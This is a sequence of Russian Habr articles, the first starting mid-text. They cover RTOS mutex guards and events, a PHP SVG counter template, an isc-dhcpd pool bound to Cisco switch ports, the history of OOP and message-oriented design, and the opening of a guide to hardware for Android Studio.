explicit MutexGuard(Mutex& mutex, bool only\_unlock = false);
Аргументы:
* mutex – ссылка на мьютекс;
* only\_unlock–если значение – истина, захват мьютекса в конструкторе не производится. Подразумевается, что мьютекс уже был захвачен ранее явным вызовом метода Lock().
В конструктор следует передать мьютекс. Он будет захвачен. А отпущен он будет в тот момент, когда мьютекс-страж выйдет из области видимости. Таким образом, предыдущий пример следует переписать примерно так:
**Текстом**
```
{
MutexGuard (m_mutex);
switch (cond)
{
case 0x00:
....
return ResultCode1;
case 0x02:
....
return ResultCode2;
case 0x0a:
....
return ResultCode3;
case 0x15:
....
return ResultCode4;
}
....
}
```
Событие
-------
Семафоры и мьютексы обычно используются для того, чтобы исключить конкуренцию задач при использовании тех или иных ресурсов, но иногда просто следует заблокировать задачу до тех пор, пока не возникнет какое-либо условие для её разблокировки. Типовой сценарий – произошло прерывание и функция-обработчик сигнализирует высокоприоритетной задаче отложенной обработки, что следует пробудиться и выполнить какие-то действия. События позволяют реализовать данный механизм.
После прочтения предыдущего абзаца, может показаться, что событие просто дублирует семафор. Но это не так. Давайте рассмотрим отличия.
Первое отличие: Событие воздействует только на того, кто его ждёт. Если в текущий момент у события нет получателя — оно уйдёт в никуда. Если через мгновение после возникновения события, кто-то начнёт ждать его — он окажется заблокирован. Разблокировка произойдёт только по следующему событию. Кто не успел — тот опоздал. Как мы помним, семафор же наоборот, ждал его кто-то или нет — всё равно откроется. И первый, кто будет проходить мимо семафора, будет пропущен.
Второе отличие — если открытия семафора ждёт несколько задач, то разблокирована будет только одна из них. Остальные будут ждать следующего открытия. Событие же можно настроить на режим, когда оно разблокирует всех, кто ждал его возникновения. То есть, все ждущие задачи будут переведены из состояния «Заблокирована» кто-то в состояние «Активна», а самая везучая задача — в состояние «Исполняется».
В остальном — логика событий напоминает логику работы двоичного семафора.
Конструктор класса:
**Event(bool broadcast = true);**
Параметр broadcast задает правило, по которому информируются получатели, ждущие возникновения события. true– будут разблокированы все задачи, ожидающие его, false–будет разблокирована только одна задача, которая находится первой в очереди ожидающих этого события.
Функция **Raise()** посылает событие. Не может быть вызван из прерывания, с приоритетом выше, чем **MAX\_SYSCALL\_INTERRUPT\_PRIORITY**.
Функция Wait() уже знакома нам по одноимённым функциям ранее рассмотренных синхронизирующих объектов. Точно так же имеет аргумент таймаута. Точно так же таймаут может быть равен нулю, либо **INFINITE\_TIMEOUT**. Эту функцию нельзя вызывать из прерываний.
Примеры работы с синхронизирующими объектами
--------------------------------------------
К сожалению, невозможно сделать простые и красивые примеры, где применяются синхронизирующие объекты. Всё простое выльется в демонстрацию примеров вызова функций. Практически применимые же вещи займут слишком большой объём. Описывать их придётся долго, а читатель потеряет нить на второй странице, и двадцать восемь остальных останутся ни разу никем не прочитанными. Поэтому я пока воздержусь от написания такого труда.
В запланированной третьей части должно будет появиться описание адаптации большой программы для станка с ЧПУ, оставим примеры для неё. А для тех, кто жаждет практики, я могу порекомендовать модульные тесты для ОС. Они размещаются в каталоге ...\maksRTOS\Source\Tests\Unit tests. Вот перечень каталогов, размещённых там:
**BinarySemaphore
Event
MessageQueue
Mutex
MutexGuard
Scheduler
Semaphore**
Лучшие практические примеры сложно придумать. Приятного изучения (правда, есть мнение, что редкий читатель дойдёт до конца первой четверти тестов). | https://habr.com/ru/post/338682/ | null | ru | null |
# Создаем счетчик-картинку
Всем привет! Сегодня я расскажу Вам, как создавать динамически такую картинку, как выше с использованием PHP. Все наверное задумывались, как такое реализовать. Мне кажется, если очень хорошо подумать, то нам на ум придет новая технология, которая сейчас внедряется, особенно с приходом HTML5. Это, как наверное многие уже догадались — [SVG](http://ru.wikipedia.org/wiki/SVG). Для тех, кто не знает, по сути, это — всего-лишь обыкновенная картинка, но записанная в виде подобия XML. Картинку можно получить двумя способами: нарисовать самому например в Inkscape или скачать уже готовую. Я воспользуюсь вторым методом, так как ни времени, ни художественного таланта у меня нет. Я буду делать на примере личных сообщений/почты, поэтому мне понадобяться две картинки, первая — сообщений нет, вторая — мы имеем некоторое количество новых сообщений. Скачаем картинки [вот тут](http://rghost.ru/28829861). old.svg — сообщений нет, new.svg сообщение есть.
Итак, перейдем к реализации. Нам понадобиться:
* Некоторые знания PHP и HTML
* Понимание, что такое шаблонизатор
* Понимание, что такое SVG
Качаем вот [отсюда](https://github.com/LosYear/Private-Messages/blob/master/src/template.php) шаблонизатор.
Как работает шаблонизатор? Работает он довольно легко. Указываем классу шаблон, инициализируем переменные, парсим, получаем готовый к выводу код.
Если в коде, то работает примерно так:
```
require_once('template.php'); // Подключаем шаблонизатор
$var = "Text";
$tpl->get_tpl('file.html');
$tpl->set_value('Var',$var);
$tpl->tpl_parse();
```
Таким же образом мы и будем работать с нашими картинками. Для начала откроем каринку new.svg например в блокноте. Найдем в самом конце файла строки:
```
1
```
И поменяем на:
```
{MSG}
```
Этими действиями мы добавили переменную в шаблон. Теперь, когда у нас есть шаблон картинки, мы переходим к самой функцией. Перед написанием, нужно осознавать, что у нас две картинки и нам нужно подумать какую вывести в зависимости от значения переменной. Потом подставить это значение в шаблон и получим простенький код:
```
// Подключаем шаблонизатор
require_once('template.php'); // Подключаем шаблонизатор
$number = 1;
if ($number == 1){ // Новое сообщение
$tpl->get_tpl('imgs/new.svg');
$tpl->set_value('MSG',$number);
$tpl->tpl_parse();
echo $tpl->html;
}
else{ // Сообщений нет
$tpl->get_tpl('imgs/old.svg');
$tpl->tpl_parse();
echo $tpl->html;
}
```
Учтем, что картинки лежат в поддериктории imgs, а шаблонизатор рядом со скриптом, в котором он подлючается.
Вот и все! Простое решение, простой проблемы.
P.S: Простите за картинку new.svg. Рисовать не умею, если не понравиться подправьте. | https://habr.com/ru/post/132337/ | null | ru | null |
# Настройка динамического dhcp-pool с привязкой к определенным портам Cisco Catalyst
Так сложилось, что сеть у меня построена таким образом, что IP-адреса выдаются только тем
клиентам, чьи MAC-адреса прописаны в самописной системе управления сетью и учета трафика (назвать это биллингом язык не поворачивается).
Спустя несколько лет я понял, что диапазон сети 192.168.0.0/21 забит практически под завязку, причем большинство прописанных в БД системы управления MAC-адресов — это адреса устройств Wi-Fi пользователей, зачастую уже давно забытых и не используемых.
В итоге было решено выделить диапазон 192.168.7.0/24 только конкретно под Wi-Fi устройства с динамическим выделением адресов.
Для этого я вычислил на всех свитчах Cisco все точки доступа Wi-Fi по портам и прописал их в классы на dhcp-сервере (используется isc-dhcpd под Linux).
Схема сети:
Как видно на схеме, в сети есть 6 устройств Cisco Catalyst.
Для того, чтобы увидеть mac-адрес каждого конкретного свитча, прописываем в конфиг dhcpd:
```
if exists agent.remote-id and exists agent.circuit-id
{
if binary-to-ascii(16, 8, "", substring(option agent.remote-id, 2, 1)) = "0" {
set switch-mac = concat("0", binary-to-ascii(16, 8, "", substring(option agent.remote-id, 2, 1)), ":", binary-to-ascii(16, 8, ":", substring(option agent.remote-id, 3, 6)));
} else {
set switch-mac = binary-to-ascii(16, 8, ":", substring(option agent.remote-id, 2, 6));
}
log(info, "-------------------------------------------------------------------------");
log ( info, concat("Switch MAC: ", switch-mac));
log ( info, concat("Switch Port: ", binary-to-ascii(10, 8, "", substring(option agent.circuit-id, 5, 1))));
}
```
**В результате mac-адреса свитчей определились так:**# Cisco0: 63:69:73:63:6f:30
# Cisco1: 63:69:73:63:6f:31
# Cisco2: 63:69:73:63:6f:32
# Cisco3: 63:69:73:63:6f:33
# Cisco4: 63:69:73:63:6f:34
# Cisco5: 63:69:73:63:6f:35
После этого в /var/log/messages наблюдаем логи всех подключений (с какого устройства и какого порта пришел DHCPINFORM):
```
dhcpd: -------------------------------------------------------------------------
dhcpd: Switch MAC: 63:69:73:63:6f:32
dhcpd: Switch Port: 6
dhcpd: DHCPINFORM from 192.168.2.55 via eth1
dhcpd: DHCPACK to 192.168.2.55 (xx:xx:xx:xx:xx:xx) via eth1
dhcpd: -------------------------------------------------------------------------
```
В блоке subnet {} на каждое устройство (по сути нужный порт на нужном свитче) создаем класс:
```
class "801:1" {
match if binary-to-ascii(16, 8, ":", substring(option agent.remote-id, 2, 6)) = "63:69:73:63:6f:31" and binary-to-ascii(10, 8, "", substring(option agent.circuit-id, 5, 1)) = "18";
}
# Порт 18 на Cisco1 у меня попадает в класс 801:1
class "804:1" {
match if binary-to-ascii(16, 8, ":", substring(option agent.remote-id, 2, 6)) = "63:69:73:63:6f:30" and binary-to-ascii(10, 8, "", substring(option agent.circuit-id, 5, 1)) = "30";
}
# Порт 30 на cisco0 - класс 804:1
```
Названия классов у меня ассоциированы с номерами кабинетов: порядковый номер
Создаем pool:
```
pool {
allow members of "801:1";
allow members of "804:1";
ddns-updates off;
range 192.168.7.1 192.168.7.254;
default-lease-time 3600;
max-lease-time 7200;
option routers 192.168.0.1;
option domain-name-servers 192.168.0.1;
}
```
В результате, устройство, включенное в порт 18 на cisco1 или в порт 30 на cisco0 получит IP-адрес и все настройки от DHCP сервера вне зависимости, прописан его mac-адрес в БД системы управления сетью или нет.
Далее в конфиге прописаны непосредственно хосты с mac и ip-адресами, присвоенные прописанным клиентам.
P.S.: Если mac-адрес прописан в БД и устройство включено в один из таких портов, то IP-адрес ему выдается тот, который прописан жестко директивой host {} | https://habr.com/ru/post/350678/ | null | ru | null |
# Забытая история ООП
Большинство парадигм программирования, которые мы используем сегодня, были впервые математически изучены в 1930-х годах с использованием идей лямбда-исчисления и машины Тьюринга, которые представляют собой варианты модели универсальных вычислений (это формализованные системы, которые могут выполнять вычисления общего назначения). Тезис Чёрча-Тьюринга показал, что лямбда-исчисление и машины Тьюринга функционально эквивалентны. А именно, речь идёт о том, что всё, что можно вычислить с использованием машины Тьюринга, можно вычислить и с использованием лямбда-исчисления, и наоборот.
[](https://habr.com/company/ruvds/blog/428582/)
Есть распространённое заблуждение, в соответствии с которым машины Тьюринга могут вычислить всё, поддающееся вычислению. Существуют классы проблем (например — [проблема остановки](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%B0_%D0%BE%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B8)), которые могут быть вычислимыми с использованием машин Тьюринга лишь для некоторых случаев. Когда в этом тексте используется слово «вычислимо», имеется в виду «вычислимо машиной Тьюринга».
Лямбда-исчисление демонстрирует подход применения функций к вычислениям по принципу «сверху вниз». А ленточная машина Тьюринга представляет императивный (пошаговый) подход к вычислениям, реализуемый по принципу «снизу вверх».
Низкоуровневые языки программирования, вроде машинного кода или ассемблера, появились в 1940-е, а, к концу 1950-х, возникли первые популярные высокоуровневые языки, которые реализовали и функциональный и императивный подходы. Так, диалекты языка Lisp до сих пор широко используются, среди них можно отметить Clojure, Scheme, AutoLisp и так далее. В пятидесятых появились и такие языки, как FORTRAN и COBOL. Они являются примерами императивных высокоуровневых языков, которые всё ещё живы. Хотя надо отметить, что языки семейства C, в большинстве сфер, заменили и COBOL, и FORTRAN.
Корни императивного и функционального программирования лежат в формальной математике вычислений, они появились раньше цифровых компьютеров. Объектно-ориентированное программирование, или ООП (Object Oriented Programming, OOP), пришло позже, оно берёт начало в революции структурного программирования, которая происходила в шестидесятых-семидесятых годах прошлого века.
Первый известный мне объект был использован Айвеном Сазерлендом в его судьбоносном приложении Sketchpad, созданном между 1961 и 1962, описанном им в [этой](https://dspace.mit.edu/handle/1721.1/14979) работе в 1963 году. Объекты представляли собой графические знаки, выводимые на экране осциллографа (возможно это — первый в истории случай использования графического компьютерного монитора), и поддерживающие наследование через динамических делегатов, которые Айвен Сазерленд назвал в своей работе «мастер-объектами» (masters). Любой объект мог стать мастер-объектом, дополнительные экземпляры объекта были названы «реализациями» (occurrences). Это сделало систему Sketchpad обладателем первых из известных языков программирования, который реализовал прототипное наследование.
Первым языком программирования, широко известным как «объектно-ориентированный», был язык Simula, спецификации которого были разработаны в 1965 году. Как и Sketchpad, Silmula предусматривал работу с объектами, но также включал в себя классы, наследование, основанное на классах, подклассы, и виртуальные методы.
*Виртуальным методом называется метод, определённый в классе, который предназначен для того, чтобы подклассы его переопределяли. Виртуальные методы позволяют программам вызывать методы, которые могут не существовать на момент компиляции кода, благодаря задействованию динамической диспетчеризации для определения того, какой конкретный метод нужно вызывать во время выполнения программы. JavaScript имеет динамические типы и использует цепочку делегирования для определения того, какой метод нужно вызвать.В результате, этот язык не нуждается в представлении концепции виртуальных методов программистам. Другими словами, все методы в JavaScript используют диспетчеризацию во время выполнения программы, в результате методы в JavaScript не нужно объявлять как «виртуальные» для обеспечения поддержки этой возможности.*
Мнение отца ООП об ООП
----------------------
*«Я придумал термин «объектно-ориентированный», и могу сказать, что я не имел в виду С++». Алан Кэй, конференция OOPSLA, 1997.*
Алан Кэй придумал термин «объектно-ориентированное программирование», имея в виду язык программирования Smalltalk (1972). Этот язык разработали Алан Кэй, Дэн Инглз и другие сотрудники научно-исследовательского центра Xerox PARC в рамках проекта по созданию устройства Dynabook. Язык Smalltalk был более объектно-ориентированным, чем Simula. В Smalltalk всё является объектом, включая классы, целые числа и блоки (замыкания). Первоначальная реализация языка, Smalltalk-72, не имела возможностей создания подклассов. Эта возможность появилась в Smalltalk-76.
В то время, как Smalltalk поддерживал классы, и, в итоге, создание подклассов, в Smalltalk эти идеи не ставились во главу угла. Это был функциональный язык, на который Lisp повлиял так же сильно, как Simula. По мнению Алана Кэя, отношение к классам как к механизму повторного использования кода — это ошибка. Индустрия программирования уделяет огромное внимание созданию подклассов, отвлекаясь от настоящих преимуществ объектно-ориентированного программирования.
У JavaScript и Smalltalk много общего. Я сказал бы, что JavaScript — это месть Smalltalk миру за неправильное понимает концепции ООП. Оба эти языка поддерживают следующие возможности:
* Объекты.
* Функции первого класса и замыкания.
* Динамические типы.
* Позднее связывание (функции и методы можно заменять во время выполнения программы).
* ООП без системы наследования, основанной на классах.
*«Я сожалею о том, что давным-давно придумал термин «объекты» для этого явления, так как его использование приводит к тому, что многие люди уделяют основное значение идее, которая не так важна, как основная. Основная идея — это обмен сообщениями». Алан Кэй*
В [переписке](http://www.purl.org/stefan_ram/pub/doc_kay_oop_en) по электронной почте 2003-года Алан Кэй уточнил то, что он имел в виду, когда называл Smalltalk «объектно-ориентированным языком».
*«ООП для меня означает лишь обмен сообщениями, локальное сохранение, и защита, и скрытие состояния, и крайне позднее связывание». Алан Кэй*
Другими словами, в соответствии с идеями Алана Кэя, самыми важными ингредиентами ООП являются следующие:
* Передача сообщений.
* Инкапсуляция.
* Динамическое связывание.
Важно отметить, что Алан Кэй, человек, который изобрёл термин «ООП» и принёс его в массы, не считал важнейшими составными частями ООП наследование и полиморфизм.
Сущность ООП
------------
Комбинация передачи сообщений и инкапсуляции служит нескольким важным целям:
* Уход от разделяемого мутабельного состояния объекта благодаря инкапсуляции состояния и изоляции других объектов от локальных изменений его состояния. Единственный способ повлиять на состояние другого объекта заключается в том, чтобы попросить его (а не отдать ему команду) об изменении, отправив ему сообщение. Изменения состояния контролируются на локальном, клеточном уровне, состояние не делается доступным другим объектам.
* Отделение объектов друг от друга. Отправитель сообщения слабо связан с получателем посредством API для работы с сообщениями.
* Адаптируемость и устойчивость к изменениям во время выполнения программы посредством позднего связывания. Адаптация к изменениям во время выполнения программы даёт множество значительных преимуществ, который Алан Кэй считал очень важными для ООП.
Источниками вдохновения Алана Кэя, высказавшего эти идеи, стали его познания в биологии, и то, что ему было известно об ARPANET (это — ранняя версия интернета). А именно, речь идёт о биологических клетках и об отдельных компьютерах, подключённых к сети. Даже тогда Алан Кэй представлял себе, как программы выполняются на огромных, распределённых компьютерах (интернет), в то время как индивидуальные компьютеры действуют как биологические клетки, независимо работая со своим собственным изолированным состоянием и обмениваясь данными с другими компьютерами путём отправки сообщений.
*«Я понял, что метафора клетки или компьютера поможет избавиться от данных[...]». Алан Кэй*
Говоря «поможет избавиться от данных», Алан Кэй, конечно, знал о проблемах, вызванных разделяемым мутабельным состоянием, и о сильной связанности, причиной которой является общий доступ к данным. Сегодня эти темы у всех на слуху. Но в конце 1960-х программисты ARPANET были недовольны необходимостью выбирать представление модели данных для своих программ до начала разработки программ. Разработчики хотели уйти от этой практики, так как, заранее загоняя себя в рамки, определяемые представлением данных, сложнее изменить что-то в будущем.
Проблема заключалась в том, что разные способы представления данных требовали, для доступа к ним, разного кода и разного синтаксиса в используемых в некий момент времени языках программирования. Святым Граалем здесь был бы универсальный способ для доступа к данным и для управления ими. Если все данные выглядели бы для программы одинаково, это решило бы множество проблем разработчиков, касающихся развития и сопровождения программ.
Алан Кэй пытался «избавиться» от идеи, в соответствие с которой данные и программы были, в каком-то смысле, самостоятельными сущностями. Они не рассматриваются таковыми в List или в Smalltalk. Тут нет разделения между тем, что можно делать с данными (со значениями, переменными, структурами данных, и так далее) и программными конструкциями вроде функций. Функции — это «граждане первого класса», а программам разрешено меняться во время их выполнения. Другими словами, в Smalltalk к данным нет особого, привилегированного отношения.
Алан Кэй, кроме того, рассматривал объекты как алгебраические структуры, что давало определённые, математически доказуемые, гарантии их поведения.
*«Моё математическое образование позволило мне понять, что каждый объект может иметь несколько алгебраических моделей, связанных с ним, что могут быть целые группы подобных моделей, и что они могут быть очень и очень полезными». Алан Кэй*
Было доказано, что так оно и есть, и это сформировало базу для объектов, таких, как промисы и линзы, причём, и на то и на другое оказала влияние теория категорий.
Алгебраическая природа того, как Алан Кэй видел объекты, позволила бы объектам обеспечить формальную верификацию, детерминистическое поведение, улучшило бы тестируемость, так как алгебраические модели — это, в сущности, операции, которые подчиняются нескольким правилам в форме уравнений.
На жаргоне программистов «алгебраические модели» — это абстракции, созданные из функций (операций), которым сопутствуют определённые правила, приводимые в жизнь модульными тестами, которые эти функции должны пройти (аксиомы, уравнения).
Эти идеи были на десятилетия забыты в большинство объектно-ориентированных языков семейства C, включая C++, Java, C# и так далее. Но эти идеи начинают поиски обратного пути, в свежие версии наиболее широко используемых объектно-ориентированных языков.
По этому поводу кто-то может сказать, что мир программирования открывает заново преимущества функционального программирования, и привести рациональные доводы в контексте объектно-ориентированных языков.
Как JavaScript и Smalltalk ранее, большинство современных объектно-ориентированных языков становится всё более и более «мультипарадигменными». Нет причины выбирать между функциональным программированием и ООП. Когда мы смотрим на историческую сущность каждого из этих подходов, они выглядят не только как совместимые, но и как дополняющие друг друга идеи.
Что, в соответствии с мыслями Алана Кэя, является самым главным в ООП?
* Инкапсуляция.
* Передача сообщений.
* Динамическая привязка (возможность программ развиваться и адаптироваться к изменениям во время их выполнения).
Что в ООП несущественно?
* Классы.
* Наследование, основанное на классах.
* Особое отношение к объектам, функциям или данным.
* Ключевое слово `new`.
* Полиморфизм.
* Статическая типизация.
* Отношение к классам как к «типам».
Если вы знаете Java или C#, вы можете подумать, что статическая типизация или полиморфизм — это важнейшие ингредиенты ООП, но Алан Кэй предпочитает иметь дело с универсальными шаблонами поведения в алгебраической форме. Вот пример, написанный на Haskell:
```
fmap :: (a -> b) -> f a -> f b
```
Это — сигнатура универсального функтора `map`, который работает с неопределёнными типами `a` и `b`, применяя функцию от `a` к `b` в контексте функтора `a` для того, чтобы создать функтор `b`. «Функтор» — это слово из математического жаргона, смысл которого сводится к «поддержке операции отображения». Если вы знакомы с методом `[].map()` в JavaScript, то вы уже знаете о том, что это значит.
Вот пара примеров на JavaScript:
```
// isEven = Number => Boolean
const isEven = n => n % 2 === 0;
const nums = [1, 2, 3, 4, 5, 6];
// метод map принимает функцию `a => b` и массив значений `a` (через `this`)
// он возвращает массив значений `b`
// в данном случае значения`a` имеют тип `Number`, а значения `b` тип `Boolean`
const results = nums.map(isEven);
console.log(results);
// [false, true, false, true, false, true]
```
Метод `.map()` является универсальным, в том смысле, что `a` и `b` могут иметь любой тип, и этот метод без проблем справляется с подобной ситуацией, так как массивы — это структуры данных, которые реализуют алгебраические законы функторов. Типы для `.map()` не имеют значения, так как этот метод не пытается работать с соответствующими значениями напрямую. Вместо этого он использует функцию, которая ожидает и возвращает значения соответствующих типов, корректных с точки зрения приложения.
```
// matches = a => Boolean
// здесь `a` может быть любого типа, поддерживающего сравнение
const matches = control => input => input === control;
const strings = ['foo', 'bar', 'baz'];
const results = strings.map(matches('bar'));
console.log(results);
// [false, true, false]
```
Взаимоотношения универсальных типов может быть сложно правильно и полно выразить в языках вроде TypeScript, но это очень просто сделать в системе типов Хиндли-Милнера, применяемой в Haskell, поддерживающей типы высших родов (типы типов).
Большинство систем типов предусматривают слишком сильные ограничения для того, чтобы позволить свободное выражение динамических и функциональных идей, таких, как композиция функций, свободная композиция объектов, расширение объектов во время выполнения программы, применение комбинаторов, линз и так далее. Другими словами? статические типы часто усложняют написание ПО с использованием методов компоновки.
Если ваша система типов отличается слишком большим числом ограничений (как в TypeScript или в Java), то вы, для достижения тех же целей, вынуждены писать более сложный код, чем при использовании языков с более свободным подходом к типизации. Это не значит, что использование статических типов — это неудачная идея, или что все реализации статических типов характеризуются одинаковыми ограничениями. Я, например, сталкивался с гораздо меньшим количеством проблем, работая с системой типов Haskell.
Если вы — фанат статических типов и не против ограничений — желаю вам семь футов под килем. Но если вы обнаружили, что некоторые из высказанных здесь идей сложно реализуемы из-за того, что непросто типизировать функции, полученные путём композиции других функций, и составные алгебраические структуры, тогда вините систему типов а не идеи. Водителям нравятся удобства, которые дают им рамные внедорожники, но никто не жалуется на то, что они не летают. Для полёта нужно транспортное средство, у которого больше степеней свободы.
Если ограничения упрощают ваш код — это замечательно! Но если ограничения принуждают вас к написанию более сложного кода, то, возможно, что-то не так с этими ограничениями.
Что такое «объект»?
-------------------
Слово «объект», со временем, приобрело множество побочных оттенков значения. То, что мы называем «объектами» в JavaScript — это просто составные типы данных, без намёков на что-то из программирования, основанного на классах, или на идеи Алана Кэя о передаче сообщений.
В JavaScript эти объекты могут поддерживать, и часто поддерживают, инкапсуляцию, передачу сообщений, разделения поведения через методы, даже полиморфизм с использованием подклассов (хотя и с использованием цепочки делегирования, а не диспетчеризации, основанной на типе).
Алан Кэй хотел избавиться от различия между программой и её данными. JavaScript, в некоторой степени, достигает этой цели, помещая методы объектов туда же, где находятся свойства, хранящие данные. Любому свойству, например, можно назначить любую функцию. Конструировать поведение объекта можно динамически и менять смысловое содержание объекта во время выполнения программы.
Объект — это всего лишь составная структура данных, и ему не нужно ничего особенного для того, чтобы считаться объектом. Однако программирование с использованием объектов не ведёт к тому, что такой код оказывается «объектно-ориентированным», так же, как использование функций не делает код «функциональным».
ООП больше не является настоящим ООП
------------------------------------
Так как понятие «объект» в современных языках программирования означает гораздо меньше, чем означало для Алана Кэя, я использую слово «компонент» вместо слова «объект» для описания правил настоящего ООП. Многими объектами владеет и управляет напрямую некий сторонний по отношению к ним код на JavaScript, но компоненты должны инкапсулировать собственное состояние и контролировать его.
Вот что такое настоящее ООП:
* Программирование с использованием компонентов (Алан Кэй называет их «объектами»).
* Состояние компонента должно быть инкапсулировано.
* Для коммуникации между сущностями используется передача сообщений.
* Компоненты можно добавлять, изменять и заменять во время выполнения программы.
Большинство поведений объектов можно задать в универсальном виде с использованием алгебраических структур данных. Тут нет необходимости в наследовании. Компоненты могут повторно использовать поведения из общедоступных функций и импортируя модули, при этом у них нет необходимости делать общедоступными свои данные.
Манипулирование объектами в JavaScript или использование наследования, основанного на классах, не означает, что некто занимается ООП-программированием. А вот использование компонентов такими способами — означает. Но от устоявшихся представлений о терминах очень сложно отвязаться, поэтому, возможно, нам надо оставить термин «ООП» и назвать то, для чего используются вышеописанные «компоненты», «программированием, ориентированным на сообщения» (Message Oriented Programming, MOP)? Ниже мы будем пользоваться термином «MOP», говоря о программировании, ориентированном на сообщения.
По случайности, английское слово «mop» переводится как «швабра», а их, как известно, используют для наведения порядка.
На что похоже хорошее MOP?
--------------------------
В большинстве современных программ имеется некий пользовательский интерфейс (User Interface, UI), ответственный за взаимодействие с пользователем, некий код, занятый управлением состоянием приложения (данными пользователя), и код, работающий с системой или отвечающий за обмен данными с сетью.
Для обеспечения работы каждой из этих систем могут понадобиться долгоживующие процессы, такие, как прослушиватели событий. Тут понадобится и состояние приложения — для хранения чего-то вроде сведений о сетевых соединениях, о положении дел с элементами управления интерфейса и о самом приложении.
Хорошее MOP означает, что, вместо того, чтобы все подобные системы имели бы доступ к состоянию друг друга и могли бы им напрямую управлять, они взаимодействуют друг с другом через сообщения. Когда пользователь щёлкает по кнопке «Сохранить», может быть диспетчеризовано сообщение `"SAVE"`. Компонент приложения, отвечающий за управление состоянием, может интерпретировать это сообщение и перенаправить его к обработчику, ответственному за обновление с состояния (такому, как чистая функция-редьюсер). Возможно, после обновления состояния, компонент, отвечающий за управление состоянием, диспетчеризует сообщение `"STATE_UPDATED"` компоненту пользовательского интерфейса, который, в свою очередь, интерпретирует состояние, решит, какие части интерфейса нужно обновить, и передаст обновлённое состояние подкомпонентам, которые ответственны за работу с конкретными элементами интерфейса.
Между тем, компонент, отвечающий за сетевые соединения, может наблюдать за подключением пользователя к другому компьютеру в сети, прослушивать сообщения и диспетчеризовать обновлённое представление состояния для сохранения его на удалённой машине. Подобный компонент отвечает за работу с сетевыми механизмами, знает о том, работает соединение или нет, и так далее.
Подобные системы приложения не должны знать подробности о других его частях. Они должны заботиться лишь о решении собственных задач. Компоненты системы можно разбирать и собирать как конструктор. Они реализуют стандартизированные интерфейсы, а это значит, что они могут взаимодействовать друг с другом. До тех пор, пока общеизвестные требования к интерфейсу компонентов выполняются, такие компоненты можно заменять другими, с такими же интерфейсами, но делающими то же самое по-другому, или выполняющими, принимая те же сообщения, нечто совершенно иное. Менять одни компоненты на другие можно даже во время выполнения программы — это её работу не нарушит.
Компоненты некоей программной системы даже не должны находиться на одном и том же компьютере. Система может быть децентрализованной. Сетевое хранилище может разместить данные в децентрализованной системе хранения данных вроде [IPFS](https://en.wikipedia.org/wiki/InterPlanetary_File_System), в результате пользователь оказывается независимым от исправности некоей конкретной машины, которая обеспечивает сохранность его данных. При таком подходе данные оказываются надёжно сохранёнными и защищёнными от злоумышленников.
ООП, отчасти, появилось под воздействием идей ARPANET, а одной из целей этого проекта было создание децентрализованной сети, которая будет устойчива к атакам наподобие ядерного удара.
Хорошая MOP-система может характеризоваться похожим уровнем устойчивости, используя компоненты, которые поддерживают «горячую замену» во время работы приложения. Она сможет продолжить функционирование в том случае, если пользователь работает с ней с сотового телефона и оказался вне зоны действия сети из-за того, что въехал в туннель. Если ураган нарушил электропитание одного из дата-центров, в котором расположены её серверы, она тоже продолжит функционировать.
Настало время, чтобы мир программного обеспечения освободился бы от неудачного эксперимента с наследованием, основанным на классах, и принял бы математические и научные принципы, которые стояли у истоков ООП.
Пришло время, чтобы мы, разработчики, создавали бы более гибкие, устойчивые, красивые программы, используя гармоничное сочетание MOP и функционального программирования.
Кстати, акроним «MOP» уже используется, описывая «программирование, ориентированное на мониторинг» (Monitoring Oriented Programming), но эта концепция, в отличие от ООП, просто тихо исчезнет.
Поэтому не расстраивайтесь, если термин «MOP» не выглядит словом из жаргона программистов. Просто приведите своё ООП в порядок с помощью рассмотренных выше принципов MOP.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/428582/ | null | ru | null |
# Комфортная работа с Android Studio
Всем доброго времени суток!
Насколько производительно работает Android Studio? Считаете ли Вы, что она работает шустро на Вашем ПК или Mac? Или, иногда, сталкиваетесь с лагами или долгой сборкой? А на крупных проектах?
В любом случае, всем нам хочется получать максимальную производительность от железа и софта. Потому я подготовил перечень пунктов и советов для начинающих и опытных разработчиков, которые помогут Вам комфортно работать с крупными проектами или просто поднять производительность. Так же Вы поймете, нужен ли Вашему оборудованию апгрейд.
Пользователи других популярных IDE, возможно, тоже могут найти для себя кое что полезное.
Мотивация
---------
Android Studio была неповоротливой еще во времена перехода с Eclipse. И уже тогда я начал искать способы оптимизации работы этой IDE. Однако, большинство коллег относилось к этому "никак". Работает. Не всегда быстро. И ладно.
Но вот уже год я работаю в другой компании. Климат другой, разработчикам читают доклады по разным технологиям. На одном из таких докладов мне показалось, что тема данной статьи может быть востребованной. Особенно в рамках проектов повышенной технической сложности.
Поговорив с коллегами и знакомыми разработчиками, мне стало понятно, что даже не каждый "профи" понимает нюансы работы железа, ОС и IDE. Потому здесь я постарался собрать полный ликбез на основе собственного опыта.
**DISCLAIMER! Все упомянутые в статье модели и бренды не являются рекламой!**
Железо
------
Вот что сказано о железе на [официальном сайте Android Studio](https://developer.android.com/studio/) в графе System requirements (не считая дискового пространства):
```
3 GB RAM minimum, 8 GB RAM recommended; plus 1 GB for the Android Emulator
1280x800 minimum screen resolution
```
Этого достаточно, чтобы студия просто запустилась и работала. О каких либо производительности и комфорте здесь речи не идет.
В этой главе я расскажу о том, какое железо желательно иметь для комфортной работы с крупными проектами и что может стать "бутылочным горлышком" в Вашей системе.
Здесь для нас наиболее критичны 5 параметров:
* Производительность CPU
* Количество аппаратных потоков CPU
* Количество оперативной памяти
* Скорость произвольного чтения и произвольной записи дисковой подсистемы
* Скорость мелкоблочного чтения и мелкоблочной записи дисковой подсистемы
Поскольку я чаще работал на конфигурациях на базе продукции Intel, то далее речь пойдет о них. Однако, если у Вас AMD- просто при прочтении делайте для себя поправки на аналогичные технологии "красных". Единственный минус, с которым я сталкивался на AMD, [уже был описан на Хабре](https://habr.com/post/429610/).
#### Пара слов о Mac
Существует мнение, что Mac является лучшей машиной для разработки. Чаще так говорят о MacBook Pro.
Лично я считаю это мифом. С приходом технологии NVMe Mac растерял свою "магию". Так что сегодня, даже среди ноутбуков, Mac не является лидером по соотношению цена-качество-производительность. Особенно в контексте разработки под Android Studio.
В остальном для комфортной разработки имеет смысл MacBook Pro 2015 или 2016 года не с U-процессором. Об остальных характеристиках и обслуживании читайте ниже.
#### Процессор
